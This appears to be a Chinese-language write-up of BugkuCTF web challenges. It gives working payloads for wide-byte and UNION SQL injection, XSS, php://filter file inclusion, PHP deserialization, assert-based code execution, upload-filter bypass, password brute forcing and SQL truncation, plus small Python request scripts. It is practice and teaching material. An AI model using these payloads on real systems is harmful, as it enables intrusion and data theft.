BugkuCTF(Web) WriteUp

Web部分

注:Bugku注入题总结见:链接

web2

点开以后发现是满屏的滑稽,按照国际惯例,查看源代码发现flag
BugkuCTF(Web) WriteUp_第1张图片

文件上传测试

用burp抓包修改文件名后缀为.php

计算器

修改最大长度限制
BugkuCTF(Web) WriteUp_第2张图片

web基础$_GET

题目如下

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

直接输入?what=flag
这里写图片描述

web基础$_POST

题目如下

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

(这里用的火狐浏览器插件HackBar)
BugkuCTF(Web) WriteUp_第3张图片

矛盾

题目代码如下

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

随便输入一个以1开头的字符串
这里写图片描述
也可以利用is_numeric()遇到%00截断的漏洞,构造?num=1%00

Web3

打开页面一直在弹窗,直接查看源代码,在最底端发现可疑编码,转码可得flag
BugkuCTF(Web) WriteUp_第4张图片

sql注入

查看源代码发现是网页编码是gb2312,想到宽字节注入
BugkuCTF(Web) WriteUp_第5张图片
果然输入1%df’ 被转换成了1運
?id=1%bf' and version()>0--+返回正确,则数据库可能为sqlserver和mysql
?id=1%bf' and length(user())>0 --+ 返回正确,说明存在user()函数,是mysql数据库
输入?id=1%df' order by 2 --+ 正常回显
输入?id=1%df' order by 3 --+ 显示Unknown column ‘3’ in ‘order clause’
可得一共有两列
输入?id=1%df' union select database(),2 --+得知数据库名为sql5
BugkuCTF(Web) WriteUp_第6张图片
输入?id=1%df' union select 1,string from sql5.key --+ 可得
BugkuCTF(Web) WriteUp_第7张图片

域名解析

打开linux虚拟机,在终端输入sudo gedit /etc/hosts
添加120.24.86.145 flag.bugku.com
BugkuCTF(Web) WriteUp_第8张图片
保存,直接访问flag.bugku.com

SQL注入1

题目过滤了关键字

//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
	if (substr_count($id, $value) > 0)
	{
		exit('包含敏感关键字!'.$value);
	}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
			

可以用%00或者加<>绕过关键词过滤
输入?id=1 uni%00on sel%00ect 1,database() --+ 得数据库名为sql3
或者这样构造:?id=1 un<>ion sel<>ect 1,database() --+
(因为这句$id = strip_tags($id); 会把<>替换为空)

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

这里写图片描述
输入?id=1 uni%00on sel%00ect 1,hash fr%00om sql3.key --+ 得到flag

你必须让他停下

用burp抓包后一直foward,会看到带有flag的页面,或者发送到Repeater

本地包含

题目

  

file() 函数把整个文件读入一个数组中。

看到eval( "var_dump($a);"); 这句,会输出$a的结构,若是数组将递归展开值,通过缩进显示其结构。
所以可以利用file()函数,把flag.php文件读入数组。
构造:?hello=file('flag.php')

变量1

题目如下


从代码可得args必须是无符号的字符串,args被定义后会返回值,往后看发现$$args 双重定义,可以想到GLOBALS变量是包含了全部变量的全局组合数组。所以直接构造?args=GLOBALS可得

web5

提示JSPFUCK,查看源码发现了好多][)(+!组合,直接复制粘贴到浏览器控制台可得

头等舱

用burp抓包,发送到Repeater

网站被黑

用御剑扫出shell.php,访问出现如图页面
BugkuCTF(Web) WriteUp_第9张图片
用burp自带的passwords字典爆破即可

web4

查看源码,先进行URL解码,得到源码

functioncheckSubmit(){
      vara=document.getElementById("password");
      if("undefined"!=typeof a){
            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
                  return!0;
            alert("Error");
            a.focus();
            return!1
      }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;

根据代码得知直接把67d709b2b54aa2aa648cf6e87a7114f1赋给password即可

flag在index里

click以后显示?file=show.php,得知是文件包含,且flag在index.php中,这里考的php://filter流,构造payload: ?file=php://filter/convert.base64-encode/resource=index.php
把得到的信息进行Base64解码可得

输入密码查看flag

先在浏览器随便输入5个数字,然后开代理用burp爆破
抓包
BugkuCTF(Web) WriteUp_第10张图片
截获后发送到Intruder
BugkuCTF(Web) WriteUp_第11张图片
payload type选择Numbers,范围从10000到99999,step设为1
BugkuCTF(Web) WriteUp_第12张图片
然后在Options中线程填100或者其他(视电脑情况而定)
点start attack就可以开始了,看哪个length返回值不同那就应该是密码了

点击一百万次

提示js,查看源码,打印flag的条件是clicks>=1000000,可以直接POST,输入clicks=1000000即可

备份是个好习惯

这个知识点之前没见过,这次做正好mark一下
点开有一行编码,仔细看会发现两个d41d8cd98f00b204e9800998ecf8427e相连,解码得:[空密码]/[Empty String],然后会发现这个没啥用…
根据题目猜测这个也许和备份有关

附上有关备份文件的知识:备份文件一般在后缀名后添加.bak或者.swp

尝试访问http://http://120.24.86.145:8002/web16/index.php.bak果然有文件,直接下载下来看里面有什么,用notepad++打开,得到如下内容


所用到的一些函数

1.strstr() 函数搜索字符串在另一字符串中的第一次出现。
2.substr(string,start,length),返回字符串的一部分。(length选填)
3.str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
str_replace(find,replace,string,count)

  • find:必需,规定要查找的值。
  • replace:必需,规定替换 find 中的值的值。
  • string:必需,规定被搜索的字符串。
  • count:可选,对替换数进行计数的变量。
    4.parse_str() 函数把查询字符串解析到变量中。

$str = str_replace('key','',$str);这句把key置为空;看到md5()函数,可分别赋值240610708和QNKCDZO。尝试后没变化,想到key被置空了,可以用kkeyey替换key。所以构造?kkeyey1=240610708&kkeyey2=QNKCDZO 得到flag

成绩单

这是一道注入题,试着输了个0’,如图
这里写图片描述
试着输入0' or 1=1 union select 1,2#0' or 1=1 union select 1,2,3#均无回显,输入0' or 1=1 union select 1,2,3,4#正常显示
输入0' union select database(),null,null,null#得数据库名为skctf_flag
这里写图片描述
接下来查表名,输入0' union select table_name,2,3,4 from information_schema.tables where table_schema='skctf_flag'#
这里写图片描述
得到表名为fl4g
接着查列名,输入0' union select column_name,2,3,4 from information_schema.columns where table_name='fl4g' and table_schema='skctf_flag'#得到列名为skctf_flag
最后一步,输入0' union select skctf_flag,2,3,4 from fl4g #得到flag

秋名山老司机

在两秒内手动计算出来是不可能的,所以只能借助python脚本
在网上学习了一下别人写的脚本

import requests
import re
url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text) 

运行一下得到flag

速度要快

查看源码
BugkuCTF(Web) WriteUp_第13张图片
在响应头找到flag属性,手动解码发现被Base64编码了两次
BugkuCTF(Web) WriteUp_第14张图片
先分别看GET和POST请求头和响应头

import requests
import base64 

url = 'http://120.24.86.145:8002/web6/'

get_response = requests.get(url)
print('GET Request Headers:\n', get_response.request.headers, '\n')
print('GET Response Headers:\n', get_response.headers, '\n')

key = base64.b64decode(base64.b64decode(get_response.headers['flag']).decode().split(":")[1])
post = {'margin': key}
post_responese = requests.post(url, data = post)
print('POST Request Headers:\n', post_responese.request.headers, '\n')
print('POST Response Headers:\n', post_responese.headers, '\n')

会发现两个的Set-Cookie和flag都不一样,所以要保证POST和GET在同一个会话中
贴脚本

import requests
import base64

url = 'http://120.24.86.145:8002/web6/'
headers = requests.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).decode().split(":")[1])
post = {"margin": key} 
PHPSESSID = headers["Set-Cookie"].split(";")[0].split("=")[1]
cookie = {"PHPSESSID": PHPSESSID}
print(requests.post(url, data = post, cookies = cookie).text)

这里附一个很详细参考链接:一个大佬的总结

Cookies欺骗

注意到?line=&filename=a2V5cy50eHQ=,base64解码为keys.txt,再结合前面的line=,猜测这个是按行读取。
太菜了去学习了网上大佬们写的脚本

import requests
s=requests.Session()
url='http://120.24.86.145:8002/web11/index.php'
for i in range(1,20):
    payload={'line':str(i),'filename':'aW5kZXgucGhw'}
    a=s.get(url,params=payload).content
    content=str(a,encoding="utf-8")
    print(content)

或者用一种更简单的

import requests
a = 30
for i in range(a):
	url = "http://120.24.86.145:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw" %i
	r = requests.get(url)
	print (r.text)

运行一下得源码

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
	$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
	$fa = file($file);
	echo $fa[$line];
}
?>

所以burp抓包构造Cookie: margin=margin

XSS

查看源代码找注入点
发现可利用var s=""; document.getElementById('s').innerHTML = s;
BugkuCTF(Web) WriteUp_第15张图片
先试着给id赋值 id=,再查看源码
这里写图片描述
会发现<>被转码了,试着用unicode编码绕过?id=\u003cimg src=1 onerror=alert(_key_)\u003e得到flag

never give up

按照惯例查看源码,发现提示1p.html
BugkuCTF(Web) WriteUp_第16张图片
访问1p.html,view-source:http://120.24.86.145:8006/test/1p.html
BugkuCTF(Web) WriteUp_第17张图片
将访问到得内容先进行Base64解码,然后再URL解码,发现require("f4l2a3g.txt");字样
访问view-source:http://120.24.86.145:8006/test/f4l2a3g.txt可得

welcome to bugkuctf

查看源代码发现提示

$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!
"; include($file); //hint.php }else{ echo "you are not admin ! "; }

①file_get_contents() 函数把整个文件读入一个字符串中。
②通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个 PHP 文件(在服务器执行它之前)。
require 会生成致命错误(E_COMPILE_ERROR)并停止脚本;include 只生成警告(E_WARNING),并且脚本会继续

这个题主要考的php://input和php://filter伪协议
先构造(如图)
BugkuCTF(Web) WriteUp_第18张图片
显示hello friend!
然后尝试利用php://filter读取hint.php中的内容
BugkuCTF(Web) WriteUp_第19张图片
base64解码得到hint.php源码

file)){  
            echo file_get_contents($this->file); 
			echo "
"; return ("good"); } } } ?>

提示了flag.php,尝试访问,显示不能现在就给你flag哦
用同样的方法访问index.php源码试试,果然有所收获,发现隐藏源码

";  
    if(preg_match("/flag/",$file)){ 
		echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}    
?>   
  

发现flag被过滤了,所以不能直接访问flag.php,要换个方法读取
看代码会发现如果文件名不包含flag就执行else中的内容,else里面先会包含传入的文件,然后输出password反序列化的内容。
此时就会联想到hint.php里面给的Flag类

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
			echo "
"; return ("good"); } } }

里面有个__toString()方法

__toString()是在直接输出对象引用时自动调用的方法。

并且还看到了echo file_get_contents($this->file); 可以通过这句话读取文件内容。
这样一来就有办法了,如果给passward传入一个序列化过的Flag类对象(这个对象的$file属性设为flag.php),file传入hint.php,就可以通过自动调用__toString()函数输出flag.php中的内容。
有了这些想法可以继续操作了

file = "flag.php";
$p = serialize($p);
echo $p;
?>

运行生成O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
现在完成最后的构造
BugkuCTF(Web) WriteUp_第20张图片
显示good,查看源码在注释中找到flag

过狗一句话

这个我不太会,看了别人的WP解的。
题目给的提示


explode(separator,string,limit):把字符串打散为数组。

所以这段代码的意思是先把$poc按“#”分割成数组,然后把每一段又重新练起来变成"assert"。用assert可以执行任意代码。
所以构造payload:?s=print_r(scandir('./')); 扫描目录
(网上还有另一种构造方法:?s=print_r(glob('*.*')) 也可以)

scandir() 函数返回指定目录中的文件和目录的数组。
glob() 函数返回匹配指定模式的文件名或目录。

这里写图片描述
flag在f94lag.txt里,直接访问

字符?正则?

题目

 

通用字符簇
[[:alpha:]]表示任何字母;[[:digit:]]表示任何数字;[[:alnum:]]表示任何字母和数字;[[:space:]]表示任何空白字符;[[:upper:]]表示任何大写字母;[[:lower:]]
表示任何小写字母;[[:punct:]]表示任何标点符号;[[:xdigit:]]表示任何16进制的数字,相当于[0-9a-fA-F]

根据正则直接构造:?id=keykeykeykeykeykey:/a/akeya:得flag

前女友

查看源码看到code.txt,直接访问


看到md5()弱比较,并且strcmp函数可以用数组绕过。
直接构造:?v1=QNKCDZO&v2=240610708&v3[]=1

login1

提示SQL约束攻击,这里可以查一下约束攻击是啥。

大概意思是在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说"admin"等同于"admin "。例如以下语句的查询结果,与使用用户名"admin"进行查询时的结果是一样的。
SELECT * FROM users WHERE username='admin ';

知道这些就可以试着操作了。
点进去是个登陆页面,还看到了注册链接。先随便注册一个然后登陆,显示不是管理员还想看flag?! 。。想知道管理员用户名然后尝试注入发现没啥用,于是去注册页面试着以admin为用户名注册,页面提示admin已存在 。好的这下好办了,根据提示得SQL约束攻击,直接去注册一个账号用户名叫‘admin ’(admin后加空格),设置密码,再去登陆得flag。

你从哪里来

直接burp抓包,修改Referer为https://www.google.com

md5 collision(NUPT_CTF)

提示md5碰撞,构造payload:?a=240610708(或者其他哈希值以0e开头的)

程序员本地网站

抓包,添加X-Forwarded-For: 127.0.0.1,在response包中有flag

各种绕过

题目

 

这个又利用了sha1()不能处理数组的漏洞。构造方法如图所示
BugkuCTF(Web) WriteUp_第21张图片

web8

题目

This is flag:" ." $flag

"; }else{ echo "

sorry!

"; } } ?>

提示:txt???? 猜测页面下有txt文件,访问一下
这里写图片描述
现在就可以构造:?ac=flags&fn=flag.txt

细心

提示:想办法变成admin
这道题一上来挺懵的,不知道要干啥,看了别人的解题思路才知道的。
查看robots.txt会有所发现。
这里写图片描述
访问resusl.php
BugkuCTF(Web) WriteUp_第22张图片
根据提示给变量x赋值,构造/resusl.php?x=admin

求getshell

这个不太会,查了一下感觉这个操作很骚。。
随便上传一个抓包
BugkuCTF(Web) WriteUp_第23张图片
文件名后缀改成.php5,上面有个Content-Type,把后面multipart中的u改成大写U(或者改其他字母),然后forward,在response包中得到flag。
这题好像是后缀黑名单检测和类型检测,php5没有被过滤,改变大小写会让waf失效,而服务器容错率高会被正常解析。

flag.php

又是脑洞题。。内个login按钮没用,给hint传参出现源码。。。

 



Login




在最后看到KEY的值,但事实上前面比较的时候KEY的值还是空的。


得到序列化后的值s:0:"";,抓包把Cookie改成ISecer=s:0:""; 或者ISecer=s:0:"" 或者ISecer=s:0:""%3B 都可以

你可能感兴趣的:(WriteUp)